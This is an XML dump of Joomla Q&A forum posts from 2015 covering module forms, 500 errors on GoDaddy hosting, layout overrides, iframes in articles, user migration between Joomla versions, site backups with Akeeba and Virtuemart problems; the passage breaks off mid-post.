  <row Id="7580" PostTypeId="1" CreationDate="2015-02-12T18:38:23.553" Score="-2" ViewCount="286" Body="&lt;p&gt;I have this newsletter module in joomla with this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;POST&quot; name=&quot;contactform&quot; action=&quot;prova.php&quot;&amp;gt; &#xA;&amp;lt;div class=&quot;tm-block-bottom-b tm-block-padding tm-block-primary-dark tm-primary&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;uk-container uk-container-center&quot;&amp;gt;&#xA;&amp;lt;section class=&quot;tm-bottom-b uk-grid&quot; data-uk-grid-match=&quot;{target:'&amp;gt; div &amp;gt; .uk-panel'}&quot; data-uk-grid-margin=&quot;&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;uk-width-1-1 uk-width-medium-1-2&quot;&amp;gt;&amp;lt;div class=&quot;uk-panel uk-text-right tm-text-left-small&quot; style=&quot;min-height: 30px;&quot;&amp;gt;&#xA;&amp;lt;p class=&quot;uk-text-large uk-margin-remove tm-form-line-height uk-scrollspy-init-inview uk-scrollspy-inview uk-animation-slide-left&quot; data-uk-scrollspy=&quot;{cls:'uk-animation-slide-left'}&quot;&amp;gt;Vuoi &amp;lt;strong&amp;gt;rimanere aggiornato&amp;lt;/strong&amp;gt;? Iscriviti alla newsletter&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;uk-width-1-1 uk-width-medium-1-2&quot;&amp;gt;&amp;lt;div class=&quot;uk-panel&quot; style=&quot;min-height: 30px;&quot;&amp;gt;&#xA;&amp;lt;form class=&quot;uk-form uk-scrollspy-init-inview uk-scrollspy-inview uk-animation-slide-right&quot; data-uk-scrollspy=&quot;{cls:'uk-animation-slide-right'}&quot; data-uk-margin=&quot;{cls:'uk-margin-top'}&quot;&amp;gt;&amp;lt;input class=&quot;uk-form-width-medium&quot; type=&quot;text&quot; name=&quot;email&quot; placeholder=&quot;Inserisci la tua mail ...&quot;&amp;gt; &amp;lt;button class=&quot;uk-button&quot; type=&quot;submit&quot;&amp;gt;Invia&amp;lt;/button&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I also have a php file. How do I link the php file to the code in the module to make it work?&lt;/p&gt;&#xA;" OwnerUserId="3703" LastEditorUserId="64" LastEditDate="2015-08-08T00:31:28.780" LastActivityDate="2015-08-08T00:31:28.780" Title="How can I link my PHP file to the HTML of a module?" Tags="|php|fix-my-code|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7581" PostTypeId="2" ParentId="7574" CreationDate="2015-02-12T19:14:57.890" Score="2" Body="&lt;p&gt;You can initialize hikashop in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if (!defined('DS'))&#xA;    {&#xA;        define('DS', DIRECTORY_SEPARATOR);&#xA;    }&#xA;&#xA;    include_once rtrim(JPATH_ADMINISTRATOR, DS) . DS . 'components' . DS . 'com_hikashop' . DS . 'helpers' . DS . 'helper.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-02-12T19:14:57.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7582" PostTypeId="2" ParentId="7580" CreationDate="2015-02-12T19:28:07.467" Score="0" Body="&lt;p&gt;In Joomla, you cannot drop a php script, an Html snippet and just submit information to the script. You are not taking advantage of the whole CMS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several restrictions that route every HTTP request to the main index.php and deliver content through the main component or modules. Thus, your Html snippet is not going to reach the php script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could modify the .htaccess to allow direct access to the php script, but &lt;em&gt;it is highly not recommended&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, to support a newsletter subscription, you have a great (free) extension like &lt;strong&gt;AcyMailing&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-02-12T19:28:07.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7583" PostTypeId="1" AcceptedAnswerId="7585" CreationDate="2015-02-12T20:57:26.727" Score="1" ViewCount="1749" Body="&lt;p&gt;After uploading my Joomla! 3.3.6 installation (that I had upgraded from 2.5 on localhost) on my Godaddy shared host, I cannot access the site: I got 500 Internal Server Error (after waiting for ~30 seconds). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When trying going to ACP, I could access the login page, however after entering the username/password, I got the same error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not find any solutions that work, including &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=520799&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .htaccess file (located in Joomla! root) can be downloaded from here: &lt;a href=&quot;http://www.mediafire.com/view/r63jowwxtb6skp5/htaccess&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/view/r63jowwxtb6skp5/htaccess&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope somebody can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="3704" LastActivityDate="2015-02-13T00:36:23.667" Title="Internal Server Error on Godaddy Shared Host" Tags="|installation|upgrade|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7584" PostTypeId="1" AcceptedAnswerId="7586" CreationDate="2015-02-12T23:46:27.010" Score="2" ViewCount="1833" Body="&lt;p&gt;Im using Joomla 3 and need to add a custom layout override for the Newsflash module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the file structure needed to do a layout override but I can't find the folder that has the layouts for the Newsflash module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me where to find the Newsflash folder? Thankyou.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2015-02-13T01:40:25.377" Title="Joomla 3 Newsflash layout override" Tags="|module|overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7585" PostTypeId="2" ParentId="7583" CreationDate="2015-02-13T00:36:23.667" Score="1" Body="&lt;p&gt;It's often hard to find the reason for 500 Internal Server errors, but here's a couple of things you can check and/or test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: it has been reported that on GoDaddy, changes to &lt;code&gt;.htaccess&lt;/code&gt; files need 10-30 minutes to take effect. Personally I've never had that problem, but it might be worth trying to wait)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Re-upload your site&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It might not make any difference, but if possible, remove your site from the server and re-upload it. I recommend using &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-backup.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt; for this.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Disable .htaccess&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Try to temporary remove or rename your &lt;code&gt;.htaccess&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Cookie Domain&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;configuration.php&lt;/code&gt; file, check if the following variables has any values. If they do, change them to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $cookie_domain = '';&#xA;public $cookie_path = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Cache problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's possible that it has to do with a cache problem, or a caching system not supported by GoDaddy. Check the following lines in your &lt;code&gt;configuration.php&lt;/code&gt; file, and change them to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $cache_handler = 'file';&#xA;public $caching = '0';&#xA;public $session_handler = 'database';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;$live_site variable&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Verify your &lt;code&gt;$live_site&lt;/code&gt; variable in &lt;code&gt;configuration.php&lt;/code&gt;. It should be empty, or read&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $live_site = &quot;http://www.example.com/home&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-13T00:36:23.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7586" PostTypeId="2" ParentId="7584" CreationDate="2015-02-13T01:40:25.377" Score="3" Body="&lt;p&gt;You probably want to override the files in &lt;code&gt;modules/mod_articles_news/tmpl&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the files you want to override to &lt;code&gt;templates/YOURTEMPLATE/html/mod_articles_news/&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following files can be overridden:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;_item.php&lt;/code&gt; - this is where each item is generated. This file is called by the other files using &lt;code&gt;JModuleHelper::getLayoutPath()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;default.php&lt;/code&gt; - the default module layout.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;horizontal.php&lt;/code&gt; - alternative layout (horizontal...)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;vertical.php&lt;/code&gt; - alternative layout (vertical...)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VYq2D.jpg&quot; alt=&quot;Alternative layout&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-13T01:40:25.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7590" PostTypeId="1" AcceptedAnswerId="7595" CreationDate="2015-02-13T09:45:52.463" Score="1" ViewCount="1057" Body="&lt;p&gt;Community Builder is installed on a Joomla 2.5 website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are doing a new Joomla 3 website (no upgrade). We need to import users and parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to do that with Joomla ? Can we simply export and import required tables from database ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do we need tu use an extension like SP Transfer ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is related to Community Builder but it can be more general : how to safely export and import datas from a Joomla website to one other.&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2015-02-15T01:04:02.467" Title="How to import datas from a Joomla 2.5 to a Joomla 3?" Tags="|migration|community-builder|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7591" PostTypeId="1" AcceptedAnswerId="7593" CreationDate="2015-02-13T10:01:16.670" Score="5" ViewCount="1021" Body="&lt;p&gt;I'm trying to put an iFrame (from Google Maps) in an article but it the code just appears as text. I've had a look at the HTML source and its not in any &lt;p&gt; tags or anything. Any help please?&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-02-18T12:35:01.710" Title="iFrame in a Joomla 2.5 article" Tags="|joomla-2.5|articles|article-manager|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7593" PostTypeId="2" ParentId="7591" CreationDate="2015-02-13T10:06:55.690" Score="2" Body="&lt;p&gt;Go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extensions&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Plugin Manager&lt;/strong&gt; &gt;&gt; &lt;strong&gt;TinyMCE&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Prohibited Elements&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The remove &lt;code&gt;iframe&lt;/code&gt; from the list.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-13T10:06:55.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7594" PostTypeId="2" ParentId="7497" CreationDate="2015-02-13T10:49:25.210" Score="1" Body="&lt;p&gt;try this simple plugin &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/load-module-into-article&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/load-module-into-article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin displays any module into an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Syntax in editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{module [63]}&#xA;where 63 is the id of the module you want to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it will help you.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2015-02-13T10:49:25.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7595" PostTypeId="2" ParentId="7590" CreationDate="2015-02-13T11:23:40.210" Score="2" Body="&lt;p&gt;What I recommend you do is take a backup of your Joomla 2.5 site and on that backup, perform the migrations to Joomla 3.x. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then install the latest version of Community Builder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, copy over the tables you require to your newly built Joomla 3.x site.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-13T11:23:40.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7596" PostTypeId="2" ParentId="7590" CreationDate="2015-02-13T12:46:10.427" Score="1" Body="&lt;p&gt;To export/import your data from/to CB, you can try CBJuice :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/extension-specific/community-builder-extensions/cbjuice&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/extension-specific/community-builder-extensions/cbjuice&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2015-02-13T12:46:10.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7598" PostTypeId="2" ParentId="7591" CreationDate="2015-02-13T14:39:11.920" Score="3" Body="&lt;p&gt;My preferred way of doing this is to create a module for your code (using for example &lt;a href=&quot;http://extensions.joomla.org/extension/custom-html-advanced&quot; rel=&quot;nofollow&quot;&gt;Custom HTML Advanced&lt;/a&gt; or the built-in &lt;a href=&quot;https://docs.joomla.org/Help33:Extensions_Module_Manager_Wrapper&quot; rel=&quot;nofollow&quot;&gt;Iframe Wrapper module&lt;/a&gt;. Publish the module to a custom position (like &lt;code&gt;GoogleMap&lt;/code&gt;). Then load the module into any article using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{loadposition GoogleMap}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla will take care of the rest, and insert the code into your article.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-13T14:39:11.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7601" PostTypeId="2" ParentId="7170" CreationDate="2015-02-13T15:20:39.280" Score="10" Body="&lt;p&gt;Jloader::import Will include the  whole specified file into our script and do some joomla specific naming conventions &#xA;-&gt; where as JLoader::register Will allows us To Include only needed class from specified packeg file and it also uses php's auto-loader that speeds up the app and save memory&lt;/p&gt;&#xA;" OwnerUserId="3553" LastActivityDate="2015-02-13T15:20:39.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7602" PostTypeId="1" AcceptedAnswerId="7605" CreationDate="2015-02-13T15:45:25.557" Score="2" ViewCount="1502" Body="&lt;p&gt;After uploading my Joomla! 3.3 from localhost, I got a very serious problem: &lt;strong&gt;the images on the website are not displayed!&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried accessing the URL of an image, I got an &lt;strong&gt;Internal Server Error&lt;/strong&gt;. The images are well on the server, with chmod 644 (and 755 for the image folders).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope somebody can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="3704" LastActivityDate="2015-02-13T16:41:44.740" Title="Images not displayed after migrating from localhost (Internal Server Error)" Tags="|installation|migration|images|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7603" PostTypeId="1" AcceptedAnswerId="7604" CreationDate="2015-02-13T15:58:46.023" Score="5" ViewCount="1192" Body="&lt;p&gt;Is there a way to override files form the layouts/joomla directory?&#xA;I need to change the look of the Read More button. Found its php in layouts/joomla/content/readmore.php.&#xA;Could I copy this file to my template folder and change it?&lt;/p&gt;&#xA;" OwnerUserId="3671" LastActivityDate="2015-12-11T21:12:22.140" Title="Layouts folder override (Read More)" Tags="|template-override|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7604" PostTypeId="2" ParentId="7603" CreationDate="2015-02-13T16:08:10.253" Score="6" Body="&lt;p&gt;Yes, absolutely. You can override the layouts by copying the file to &lt;code&gt;templates/YOURTEMPLATE/html/layouts/&lt;/code&gt; using the same path as where you found the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your case, copy the file currently at &lt;code&gt;layouts/joomla/content/readmore.php&lt;/code&gt; to &lt;code&gt;templates/YOURTEMPLATE/html/layouts/joomla/content/readmore.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2015-12-11T21:12:22.140" LastActivityDate="2015-12-11T21:12:22.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7605" PostTypeId="2" ParentId="7602" CreationDate="2015-02-13T16:41:44.740" Score="1" Body="&lt;p&gt;There seems to be something wrong with your &lt;code&gt;images&lt;/code&gt; folder. If I visit &lt;a href=&quot;http://example.com/media&quot; rel=&quot;nofollow&quot;&gt;http://example.com/media&lt;/a&gt;, I get the expected blank page (the empty &lt;code&gt;index.html&lt;/code&gt; that is located inside each folder to avoid directory listing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;a href=&quot;http://example.com/images&quot; rel=&quot;nofollow&quot;&gt;http://example.com/images&lt;/a&gt; gives a 500 error, so none of your images in that folder are available. The thumbnails show up because a plugin (plg_readlesstext) caches your images and creates a thumbnail in the &lt;code&gt;cache&lt;/code&gt; folder, outside the &lt;code&gt;images&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check if you have a &lt;code&gt;.htaccess&lt;/code&gt; file inside your &lt;code&gt;images&lt;/code&gt; folder. If not, try disabling the Readless plugin and see if that makes any difference.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-13T16:41:44.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7606" PostTypeId="2" ParentId="7590" CreationDate="2015-02-13T16:43:43.803" Score="1" Body="&lt;p&gt;Thanks to Lodder's answer and some help from the &lt;a href=&quot;http://forum.joomla.fr/&quot; rel=&quot;nofollow&quot;&gt;french Joomla forum&lt;/a&gt;, this is what i’ve done :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make a backup of the Joomla 2.5&lt;/li&gt;&#xA;&lt;li&gt;Install the backup&lt;/li&gt;&#xA;&lt;li&gt;Upgrade to Joomla 3.x&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Copy the requrired tables :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;_comprofiler_xxx (All the table community builder)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;_users&lt;/p&gt;&#xA;&#xA;&lt;p&gt;_usergroups&lt;/p&gt;&#xA;&#xA;&lt;p&gt;_user_usergroup_map&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it !&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditDate="2015-02-15T01:04:02.467" LastActivityDate="2015-02-15T01:04:02.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7607" PostTypeId="1" CreationDate="2015-02-13T16:51:27.447" Score="2" ViewCount="1445" Body="&lt;p&gt;Im trying to get ExtraFields from K2 Articles. I have assigned my menu to &lt;code&gt;Latest from Users or Categories&lt;/code&gt; in order to display all articles from several categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It displays fine. But these articles have ExtraFields information that I want to display, but there is no option to display ExtraFields, so I suppose that in order to do this I need to change &lt;code&gt;latest.php&lt;/code&gt; page, which is the page used to display all articles from different Categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;code&gt;latest.php&lt;/code&gt; doesn't display ExtraFields I'm trying to code it as the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;$extrafields = array();&#xA;foreach($this-&amp;gt;item-&amp;gt;extra_fields as $item)&#xA;{    &#xA;$extrafields[$item-&amp;gt;id] = $item-&amp;gt;value;&#xA;}   &#xA;?&amp;gt;    &#xA;&amp;lt;?php if(isset($extrafields[X]) === true):?&amp;gt;&#xA;&amp;lt;?php echo $extrafields[X]; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though, I'm getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Invalid argument supplied for foreach() in ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've been searching ways to get ExtraFields, found some solutions but this is the error i get every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using joomla 2.5.&lt;/p&gt;&#xA;" OwnerUserId="3371" LastEditorUserId="126" LastEditDate="2015-02-17T10:19:44.053" LastActivityDate="2015-03-20T20:31:29.217" Title="How to get Item's ExtraFields to display in latest.php of K2 - Joomla" Tags="|joomla-2.5|k2|" AnswerCount="2" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7608" PostTypeId="1" AcceptedAnswerId="7626" CreationDate="2015-02-13T17:27:48.977" Score="2" ViewCount="1502" Body="&lt;p&gt;I have Virtuemart 2.0.26D in my website; when I go to the product details page of a product, if I click in the image of that product, the pop-up that should appear, doesn't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image that I have clicked appears in a new window...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea about how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="1629" LastEditDate="2015-02-15T18:38:40.350" LastActivityDate="2015-02-15T18:38:40.350" Title="Virtuemart modal box not working" Tags="|joomla-2.5|virtuemart|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7612" PostTypeId="1" AcceptedAnswerId="7613" CreationDate="2015-02-14T11:47:04.223" Score="3" ViewCount="4464" Body="&lt;p&gt;Recently it was asked me to collaborate to the development of a web site created using Joomla. The site is already online in a public server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to copy the entire site to my pc in which Joomla is installed. Is there an easy way to do so?&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2015-02-14T13:27:37.093" Title="Copying Joomla site from server to local" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7613" PostTypeId="2" ParentId="7612" CreationDate="2015-02-14T11:54:40.523" Score="5" Body="&lt;p&gt;Yes -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download &lt;a href=&quot;https://www.akeebabackup.com/download/akeeba-backup.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt;. Install this extension and take a backup through admin screen - Components &gt; Akeeba Backup &gt; Backup Now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transfer your backup located at &lt;code&gt;administrator/components/com_akeeba/backup&lt;/code&gt; from local to server or server to local using FTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then download &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow&quot;&gt;Kickstart&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place &lt;code&gt;kickstart.php&lt;/code&gt; and your backup archive in the same (empty) folder on localhost - such as htdocs (In my case htdocs is my root folder because I use Xamp).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then run &lt;code&gt;localhost/kickstart.php&lt;/code&gt; from your browser - The process from here is simple.&lt;/p&gt;&#xA;" OwnerUserId="3477" LastEditorUserId="3477" LastEditDate="2015-02-14T13:27:37.093" LastActivityDate="2015-02-14T13:27:37.093" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="7614" PostTypeId="1" AcceptedAnswerId="7627" CreationDate="2015-02-14T15:02:48.653" Score="1" ViewCount="625" Body="&lt;p&gt;User State Object sets its value in session that's way we can get value from any where but model state object which is nothing more then a Jobject which doesn't use session to store value then how model state variable remain it's value when we come back later &lt;/p&gt;&#xA;" OwnerUserId="3707" LastEditorUserId="3553" LastEditDate="2015-02-15T07:07:46.197" LastActivityDate="2015-02-15T19:03:05.180" Title="Model State Object and User State Object" Tags="|joomla-3.x|joomla-framework-1.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7615" PostTypeId="1" AcceptedAnswerId="8760" CreationDate="2015-02-14T15:32:47.250" Score="1" ViewCount="227" Body="&lt;p&gt;I know Virtuemart 1.1.9 is not supported anymore, but I've a lot of customization on my installed online Joomla website. i can't move it' to latest versions of joomla and VM as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please read the scenario..&lt;/strong&gt;&#xA;I've joomla 1.5 with virtuemart 1.1.9- Whenever a user process credit card payment through authorize.net, after completion the process the user sees a message of &quot;thank you, your order has been completed... regardless of transaction response either that is failed or succeeded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Need is..&lt;/strong&gt; I want an email to be sent to my email address when a transaction is failed. I can't check authorize.net's statements on my mobile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I Question is...&lt;/strong&gt; how can i send email to myself and  which files and functions are working to check the responses form the authorize.net server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know If this question is confusing... I will try to elaborate it more easy to understand. &lt;/p&gt;&#xA;" OwnerUserId="3717" LastEditorUserId="126" LastEditDate="2015-08-28T07:05:38.917" LastActivityDate="2015-08-28T07:05:38.917" Title="How to change authorize.net responses virtuemart 1.1.9?" Tags="|virtuemart|joomla-1.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7616" PostTypeId="2" ParentId="5002" CreationDate="2015-02-14T15:34:57.757" Score="2" Body="&lt;p&gt;this error is appear when your table corrupted.&#xA;you can repair your table and error gone.&#xA;login into your phpmyadmin , then click on your database name, then select your corrupted table, scroll down to bottom of page, in a dropdown box select repair.&lt;/p&gt;&#xA;" OwnerUserId="3718" LastActivityDate="2015-02-14T15:34:57.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7617" PostTypeId="2" ParentId="5002" CreationDate="2015-02-14T15:48:36.950" Score="2" Body="&lt;p&gt;1) Extract your database using phpmyadmin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Edit the downloaded database Yourdatabse.sql  in any editor and replace all Engine = &quot;InnoDB&quot;  with  Engine = &quot;MYISAM&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Upload the database back (import using phymyadmin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MAKE SURE YOU TAKE BACKUP OF YOUR SITE using Akeeba Backup or another way before you do this.&lt;/p&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2015-02-14T15:48:36.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7618" PostTypeId="1" AcceptedAnswerId="7619" CreationDate="2015-02-14T17:43:08.583" Score="1" ViewCount="1764" Body="&lt;p&gt;Virtuemart 3.0.4 Joomla 3.3.6. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to figure out what's the way to setup the following in virtuemart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the &lt;strong&gt;Main store's view&lt;/strong&gt; with a menu item of type : &lt;strong&gt;VM Category Layout&lt;/strong&gt;.&#xA;It is set to show all categories with top level category the root category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page displays all categories.&#xA;Now, clicking on a category, I want to open that &lt;strong&gt;Category's Browse Products&lt;/strong&gt; view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is not happening.&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Clue 1:&lt;/strong&gt;&lt;br&gt;&#xA;The problem is that both the above views are controlled by the same menu item.&#xA;And this menu item, 